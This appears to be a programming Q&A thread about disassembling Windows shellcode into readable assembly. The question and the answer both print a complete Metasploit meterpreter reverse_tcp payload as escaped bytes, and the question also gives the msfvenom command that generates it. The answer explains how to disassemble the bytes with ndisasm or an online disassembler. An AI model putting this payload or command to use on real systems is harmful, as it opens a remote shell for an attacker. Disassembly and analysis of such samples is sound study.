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How to convert shellcode to readable assembly code/instructions?


How could I for instance convert the following windows shellcode:

\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x01\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5

generated from metasploit's msfvenom tool:

msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=443

To readable assembly instructions/code of intel syntax that could be used in inline assembly in C?


Solution

  • That's a C-style escaped string; a simple way to dump it to file is to write a program in whatever language supports them, e.g. Python

    open("out.bin", "wb").write(b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x01\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5")
    

    and then use a disassembler such as ndisasm to disassemble the binary file to assembly code:

    ndisasm -b 32 out.bin
    

    (assuming it's 32 bit code, as it seems to be).

    If you're looking for an online solution rather than a local one, you can use this site: https://defuse.ca/online-x86-assembler.htm On that site, you can enter your C-style string literal directly into the "disassemble" textbox, choose whether you want 32-bit or 64-bit instructions, and the "Disassemble" button.

    Of course, neither of these will result in code that is immediately usable as inline assembly - it depends on exactly which dialect is accepted by your compiler, plus you have to adjust all the jumps so that they refer to labels instead of addresses, possibly separate the embedded data from the code and so on. Ultimately it may be more useful to study it and write the equivalent C code.